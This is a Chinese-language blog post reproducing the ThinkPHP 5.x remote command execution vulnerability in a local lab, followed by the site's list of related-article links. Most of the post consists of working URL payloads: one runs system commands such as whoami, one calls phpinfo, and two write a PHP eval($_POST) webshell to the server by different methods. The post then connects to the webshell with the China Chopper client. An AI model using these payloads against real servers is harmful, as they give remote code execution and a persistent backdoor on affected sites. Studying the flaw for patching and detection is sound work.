ThinkPHP 5.x远程命令执行漏洞复现


Posted in PHP onSeptember 23, 2019

一、漏洞描述

2018年12月10日,ThinkPHP官方发布了安全更新,其中修复了ThinkPHP5框架的一个高危漏洞:

https://blog.thinkphp.cn/869075 

漏洞的原因是由于框架对控制器名没有进行足够的检测,导致在没有开启强制路由(默认未开启)的情况下可能导致远程代码执行,受影响的版本包括5.0和5.1。

二、漏洞影响版本

Thinkphp 5.x-Thinkphp 5.1.31

Thinkphp 5.0.x<=5.0.23

三、漏洞复现

1、官网下载Thinkphp 5.0.22,下载地址: http://www.thinkphp.cn/donate/download/id/1260.html

2、使用phpstudy搭建环境,解压下载的Thinkphp5.0.22到网站目录下,浏览器访问http://192.168.10.171/thinkphp5.0.22/public

 ThinkPHP 5.x远程命令执行漏洞复现 

3、利用system函数远程命令执行

Payload如下:

?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami

ThinkPHP 5.x远程命令执行漏洞复现

4、通过phpinfo函数查看phpinfo()的信息 

Payload如下:

?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1

ThinkPHP 5.x远程命令执行漏洞复现

5、写入shell

Payload如下:

?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo ^<?php @eval($_POST[cmd]);?^> >shell.php

注意:需要对特殊字符使用^转义(cmd环境下转义方式),windows环境的echo命令输出字符串到文档不用引号(单引号、双引号),部分字符url编码不编码都行。

ThinkPHP 5.x远程命令执行漏洞复现

6、查看是否成功写入shell

ThinkPHP 5.x远程命令执行漏洞复现

7、菜刀连接

ThinkPHP 5.x远程命令执行漏洞复现

8、第二种的写入shell的方法

Payload如下:

?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=../test.php&vars[1][]=<?php @eval($_POST[test]);?>

ThinkPHP 5.x远程命令执行漏洞复现

9、查看是否成功写入文件

ThinkPHP 5.x远程命令执行漏洞复现

10、菜刀连接

ThinkPHP 5.x远程命令执行漏洞复现

总结

以上所述是小编给大家介绍的ThinkPHP 5.x远程命令执行漏洞复现,希望对大家有所帮助,如果大家有任何疑问请给我留言,小编会及时回复大家的。在此也非常感谢大家对三水点靠木网站的支持!
如果你觉得本文对你有帮助,欢迎转载,烦请注明出处,谢谢!

PHP 相关文章推荐
PHP入门速成教程
Mar 19 PHP
php递归获取目录内文件(包含子目录)封装类分享
Dec 25 PHP
PHP curl 获取响应的状态码的方法
Jan 13 PHP
PHP JSON出错:Cannot use object of type stdClass as array解决方法
Aug 16 PHP
PHP的拦截器实例分析
Nov 03 PHP
ThinkPHP控制器详解
Jul 27 PHP
从性能方面考虑PHP下载远程文件的3种方法
Dec 29 PHP
php设计模式之委托模式
Feb 13 PHP
php实现中文转数字
Feb 18 PHP
PHP常见字符串处理函数用法示例【转换,转义,截取,比较,查找,反转,切割】
Dec 24 PHP
利用PHPStorm如何开发Laravel应用详解
Aug 30 PHP
关于Laravel参数验证的一些疑与惑
Nov 19 PHP
PHP开启目录引索+fancyindex漂亮目录浏览带搜索功能
Sep 23 #PHP
redis+php实现微博(三)微博列表功能详解
Sep 23 #PHP
redis+php实现微博(二)发布与关注功能详解
Sep 23 #PHP
redis+php实现微博(一)注册与登录功能详解
Sep 23 #PHP
php日志函数error_log用法实例分析
Sep 23 #PHP
php扩展开发入门demo示例
Sep 23 #PHP
PHP使用phpunit进行单元测试示例
Sep 23 #PHP
You might like
967 个函式
2006/10/09 PHP
微盾PHP脚本加密专家php解密算法
2020/09/13 PHP
php面向对象与面向过程两种方法给图片添加文字水印
2015/08/26 PHP
js表数据排序 sort table data
2009/02/18 Javascript
js AspxButton的客户端操作
2009/06/26 Javascript
js三种排序算法分享
2012/08/16 Javascript
两种方法实现在HTML页面加载完毕后运行某个js
2014/06/16 Javascript
JavaScript学习笔记之Cookie对象
2015/01/22 Javascript
Javascript核心读书有感之语句
2015/02/11 Javascript
深入解析JavaScript中的arguments对象
2016/06/12 Javascript
p5.js入门教程之键盘交互
2018/03/19 Javascript
浅谈在react中如何实现扫码枪输入
2018/07/04 Javascript
对Vue beforeRouteEnter 的next执行时机详解
2018/08/25 Javascript
vue.js实现备忘录demo
2019/06/26 Javascript
Vue-cli打包后部署到子目录下的路径问题说明
2020/09/02 Javascript
解决vue scoped html样式无效的问题
2020/10/24 Javascript
Ant Design的可编辑Tree的实现操作
2020/10/31 Javascript
[02:59]DOTA2完美大师赛主赛事第三日精彩集锦
2017/11/25 DOTA
详解Python异常处理中的Finally else的功能
2017/12/29 Python
python处理DICOM并计算三维模型体积
2019/02/26 Python
python实现飞机大战游戏
2020/10/26 Python
django框架model orM使用字典作为参数,保存数据的方法分析
2019/06/24 Python
Windows系统Python直接调用C++ DLL的方法
2019/08/01 Python
Django 后台获取文件列表 InMemoryUploadedFile的例子
2019/08/07 Python
Python3 tkinter 实现文件读取及保存功能
2019/09/12 Python
DataFrame 数据合并实现(merge,join,concat)
2020/06/14 Python
Django自带用户认证系统使用方法解析
2020/11/12 Python
怎么可以提高数据库查询数据的速度
2014/06/28 面试题
What's the difference between an interface and abstract class? (接口与抽象类有什么区别)
2012/10/29 面试题
银行会计业务的个人自我评价
2013/11/02 职场文书
土地转让协议书范本
2014/04/15 职场文书
社区戒毒工作方案
2014/06/04 职场文书
金融专业毕业生自荐信
2014/06/26 职场文书
导游词之苏州阳澄湖
2019/11/15 职场文书
MySQL系列之十四 MySQL的高可用实现
2021/07/02 MySQL
对讲机知识
2022/04/07 无线电